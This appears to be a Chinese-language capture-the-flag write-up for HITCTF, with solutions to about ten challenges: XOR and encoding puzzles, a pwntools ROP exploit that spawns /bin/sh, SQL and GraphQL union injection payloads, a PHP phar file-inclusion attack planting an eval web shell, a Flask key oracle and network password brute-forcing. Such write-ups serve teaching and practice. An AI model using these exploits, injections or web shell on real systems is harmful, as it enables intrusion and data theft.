easy_xor.apk
1 | a='kmqgwg]Tm3=NE_/4ouKJW@WE^' |
简单xor即可:HITCTF{w3lc0me_t0_hitctf}
stackflow
1 | int vuln() |
简单栈溢出后ROP,程序自带可以cat flag
的函数,其实也可以用system('/bin/sh\0')
1
2
3
4
5
6
7
8
9int __cdecl flag(int a1, int a2)
{
if ( a1 != 0xDEADBEEF )
CheckFailed();
command = "cat flag";
if ( a2 != 0xC0FFEE )
CheckFailed();
return system(command);
}
注意bss
中有stdout
参数,不能直接写bss+4
的位置,fflush(stdout)
会报错1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28#coding:utf-8
from pwn import *
context(arch = 'i386', os = 'linux')
LOCAL = 1
target = 'stackoverflow'
remote_addr = 'pwn.sniperoj.cn'
remote_port = 30006
if LOCAL:
p = process('./'+target)
else:
p = remote(remote_addr,remote_port)
elf = ELF('./'+target)
offset= 44
read_addr = elf.symbols['read']
vuln_addr = elf.symbols['vuln']
sys = elf.symbols['system']
bss = 0x804A04c #bss+12
#payload = offset*'a' + p32(flag_addr) + p32(0) +p32(0xdeadbeef)+p32(0xc0ffee)
payload = offset*'a' + p32(read_addr) + p32(vuln_addr) +p32(0)+p32(bss)+p32(8)
print len(payload)
p.send(payload)
payload='/bin/sh\0'
p.send(payload)
payload = offset*'a' + p32(sys) + p32(vuln_addr)+p32(bss)
p.send(payload)
p.interactive()
BaSO4
1 | import base64 |
20次随机base64或base32编码,手工一下就行了
单表替换
手工替换即可,注意俄文也有分大小写的,原文是Gone with the wind
BabyInjection
1 | $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp|limit|or"; |
弱类型绕过passwd
的判断,用with rollup
;由于过滤了limit
,可以用having passwd is null
解决。
学习资料的密码
1 | puts("Give me your key:"); |
题目提供了加密后的flag,程序对输入进行运算后与加密内容比较,看看加密算法1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20for ( i = 0; i < v19 - v19 % 3; i += 3 )
{
v1 = v22;
v2 = v22 + 1;
v20[v1] = chart[(a1[i] >> 5) & 7];
v3 = v2++;
v20[v3] = chart[(a1[i] >> 2) & 7];
v4 = v2++;
v20[v4] = chart[2 * a1[i] & 6 | (a1[i + 1] >> 7) & 1];
v5 = v2++;
v20[v5] = chart[(a1[i + 1] >> 4) & 7];
v6 = v2++;
v20[v6] = chart[(a1[i + 1] >> 1) & 7];
v7 = v2++;
v20[v7] = chart[4 * a1[i + 1] & 4 | (a1[i + 2] >> 6) & 3];
v20[v2] = chart[(a1[i + 2] >> 3) & 7];
v8 = v2 + 1;
v22 = v2 + 2;
v20[v8] = chart[a1[i + 2] & 7];
}
重点在这段代码,算法是将3为明文转换成8位,多出来的位运算后面还有,但不重要。密文是67位,67%8=3,重点解决前面22位OK了。算法不难,可以直接进行每3位爆破,脚本如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26a1 = 'llW00ml0lWeml3Weceec3m03c0e!0mc!cW0cl3ecc3lm!0eccllecmmWcmWcmWm3c!l'
chart = 'W3lc0me!'
def f(s):
tmp = ''
tmp += chart[(ord(s[0])>>5)&7]
tmp += chart[(ord(s[0])>>2)&7]
tmp += chart[2 * ord(s[0]) & 6 | (ord(s[1]) >> 7) & 1]
tmp += chart[(ord(s[1]) >> 4) & 7]
tmp += chart[(ord(s[1]) >> 1) & 7]
tmp += chart[4 * ord(s[1]) & 4 | (ord(s[2]) >> 6) & 3]
tmp += chart[(ord(s[2]) >> 3) & 7]
tmp += chart[ord(s[2]) & 7]
return tmp
def foo(n):
for i in range(32,127):
for j in range(32,127):
for k in range(32,127):
t = chr(i)+chr(j)+chr(k)
if f(t) == a1[n*8:n*8+8]:
return t
flag = ''
for _ in range(0,8):
flag += foo(_)
print flag #HITCTF{3asy_b4se_3ight:)}
BabyWrite
主页存在文件包含,可查看源代码http://120.24.215.80:10012/?page=php://filter/read=convert.base64-encode/resource=login
login.php:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41<!DOCTYPE html>
<html>
<head>
<title>CTF</title>
</head>
<body>
ç»é解éæ´å¤åè½
<form action="login.php" method="POST">
ç¨æ·å : <input name="username" placeholder="username"><br/>
å¯ç : <input name="password" placeholder="password"><br/><br/>
<input type="submit" value="ç»é">
</form>
</body>
</html>
require_once('config.php');
if(isset($_POST['username']) && isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
if ($username === "admin" && sha1(md5($password)) === $admin_hash){
echo '<script>alert("Login seccess!");</script>';
}else{
if (isset($_GET['debug'])){
if($_GET['debug'] === 'hitctf'){
$logfile = "log/".$username.".log";
$content = $username." => ".$password;
file_put_contents($logfile, $content);
}else{
echo '<script>alert("Login failed!");</script>';
}
}else{
echo '<script>alert("Login failed!");</script>';
}
}
}else{
echo '<script>alert("Please input username and password!");</script>';
}
包含config.php有admin的hash1
$admin_hash = "df650edd89a1abfb417124133daf4c103e6d2e97";
思路:你用输入的username和password,写入log,然后文件包含,本题中间用了=>
做连接,预期解法用phar。需要修改php.ini的配置,去掉phar.readonly
注释并改成off
1.phar生成时,php文件带有=>
关键字,建一个c文件夹,里面放一句话1
2
3
4
5
6
$phar = new Phar('c.phar', 0, 'c.phar');
$phar->buildFromDirectory('./c');
$phar->setStub($phar->createDefaultStub('e.php', ' => .php'));
$phar->compressFiles(Phar::GZ);
EXP:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15import requests
import urllib
s = " => "
host = "120.24.215.80"
port = 10012
url = "http://%s:%d/login.php?debug=hitctf" % (host, port)
content = open('c.phar','rb').read()
username = content[:15]
password = content[15 + len(s):]
print "[+] User : [%s]" % (urllib.quote(username))
data = {"username":username,"password":password}
response = requests.post(url, data=data)
print response.content
print "[+] http://%s:%d/?page=phar://log/%s.log/c&c=phpinfo();" % (host, port, urllib.quote(username))
2.直接传phar,由于开头加了东西,需要修改phar包的校验值。(http://php.net/manual/en/phar.fileformat.signature.php)1
2
3
4
5
$phar = new Phar('shell.phar', 0);
$phar['shell.php'] = '<?php eval($_POST[\'cmd\']);?>' ;
$phar->setStub('<?php __HALT_COMPILER();?>');
留意最后28个字节,最后4字节是固定标识,倒数4-8字节是hash类型,这里是0x02代表sha1,由于开头会增加字节,删掉最后28字节,加上增加的开头,重新计算sha1。1
2
3
4
5def getSha1(filename):
sha1Obj = sha1()
with open(filename, 'rb') as f:
sha1Obj.update(f.read())
return sha1Obj.hexdigest()
SecurePY
可参考:https://chybeta.github.io/2017/09/05/TWCTF-2017-Super-Secure-Storage-writeup/
http://123.206.83.157:8000/pycache/app.cpython-35.pyc反编译得到:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36#!/usr/bin/env python
# visit http://tool.lu/pyc/ for more information
from flask import Flask, request, jsonify, render_template
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import os
app = Flask(__name__)
flag_key = os.environ['KEY']
flag_enc = '9cf742955633f38d9c628bc9a9f98db042c6e4273a99944bc4cd150a0f7b9f317f52030329729ccf80798690667a0add'
def index():
return render_template('index.html', flag_enc = flag_enc)
index = app.route('/')(index)
def getflag():
req = request.json
if not req:
return jsonify(result = False)
if None not in req:
return jsonify(result = False)
key = None['key']
if len(key) != len(flag_key):
return jsonify(result = False)
for (x, y) in zip(key, flag_key):
if ord(x) ^ ord(y): #注意这里,可以通过这里报错来确定key长度
return jsonify(result = False)
cryptor = AES.new(key, AES.MODE_CBC, b'0000000000000000')
plain_text = cryptor.decrypt(a2b_hex(flag_enc))
flag = plain_text.decode('utf-8').strip()
return jsonify(result = True, flag = flag)
getflag = app.route('/getflag', methods = [
'POST'])(getflag)
if __name__ == '__main__':
app.run()
对于None类型,ord(None)会崩溃掉。1
2
3
4
5>>> key = [None,None]
>>> ord(key[1])
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: ord() expected string of length 1, but NoneType found
JSON里面null会在python里面转换成none。
当POST数据为{"key":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null]}
(15个null)时:false
当POST数据为{"key":[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null]}
(16个null)时:500 Internal Server Error,可以确定key为16位
同样,我们可以利用false和500报错来逐位爆破key
当POST数据为{"key":["a",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null]}
(16个null)时:false
当POST数据为{"key":["5",null,null,null,null,null,null,null,null,null,null,null,null,null,null,null]}
(16个null)时:500 Internal Server Error
1 | import requests |
BabyQuery
抓包看一下post的数据,是graphql,一个查询API,编码是base321
query={ getscorebyid(id: "GE======"){ id name score } }
随便改一下getscorebyxx
,可以看到报错发现还有getscorebyyourname
1 | [GraphQLError('Cannot query field "getscoreby222" on type "Query". Did you mean "getscorebyid" or "getscorebyyourname"?',)] |
测试发现id只能1位数,那么只能从那么入手,写个代码测试注入,hackbar无base32比较麻烦1
2
3
4
5
6
7from base64 import b32encode
import requests
url = "http://182.254.247.127:3001/graphql"
payload = "1' or '1'='1"
q = '{ getscorebyyourname(name: "%s"){ name score } }'%(b32encode(payload))
r = requests.post(url=url,data={"query" : q})
print r.content
测试发现存在注入,payload = "1' union select 1-- "
返回1
OrderedDict([(u'getscorebyyourname', OrderedDict([(u'name', "1' union select 1-- "), (u'score', '1')]))])
常用套路测试payload = "1' union select database()-- "
,发现不是mysql,是sqlite。先爆一下表:1
2payload = "-1' UNION ALL SELECT name FROM sqlite_master WHERE type=\"table\" limit 1,1--"
OrderedDict([(u'getscorebyyourname', OrderedDict([(u'name', '-1\' UNION ALL SELECT name FROM sqlite_master WHERE type="table" limit 1,1--'), (u'score', 'Secr3t_fl4g')]))])
发现fSecr3t_fl4g表了,搞掂~1
2payload = "-1' UNION ALL SELECT * from Secr3t_fl4g--"
OrderedDict([(u'getscorebyyourname', OrderedDict([(u'name', "-1' UNION ALL SELECT * from Secr3t_fl4g--"), (u'score', 'HITCTF{fee26d3a146a404e106b1ed93156f30e}')]))])
login
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
要求输入用户名和密码,需要使用root登录,来看一下login()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16signed int login()
{
signed int v1; // [esp+4h] [ebp-14h]
int n; // [esp+8h] [ebp-10h]
int v3; // [esp+Ch] [ebp-Ch]
v1 = 255;
printf("Username: ");
n = read_input_raw((int)username, 16);
printf("Password: ");
v3 = read_input_raw((int)password, 32);
if ( !strncmp(username, "root", n) && !strncmp(password, "passwd_has_be_changed_in_remote_", v3) )
return 0;
...
return v1;
}
这里的密码比较有问题,你输入多少位,就比较多少位,例如你只输入一位,那么就只比较第一位是不是跟root密码一样。这里可以绕过,后面还有一个check()1
2
3
4
5
6
7
8
9signed int check()
{
...
if ( !strncmp(password, "passwd_has_be_changed_in_remote_", 0x20u) )
{
puts("Correct password!");
++v1;
...
}
这里的密码比较就是固定32位,可以猜想真正密码是32位,可以利用login()进行逐位爆破。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30from pwn import *
def login(x):
global password
print 'password' + chr(x)
p = remote('111.230.132.82', 40001)
p.recvuntil('Username:')
p.sendline('root')
p.recvuntil('Password: ')
p.sendline(password+chr(x))
a = p.recvline()
print a
if 'successful' in a:
p.close()
return 1
else:
p.close()
return 0
def foo():
global password
for i in range(32):
for j in range(32,127):
if login(j):
password += chr(j)
print 'password:',password
break
password = '' #10_adhUNwj_qidACn_qdXon912_uhdq6
foo()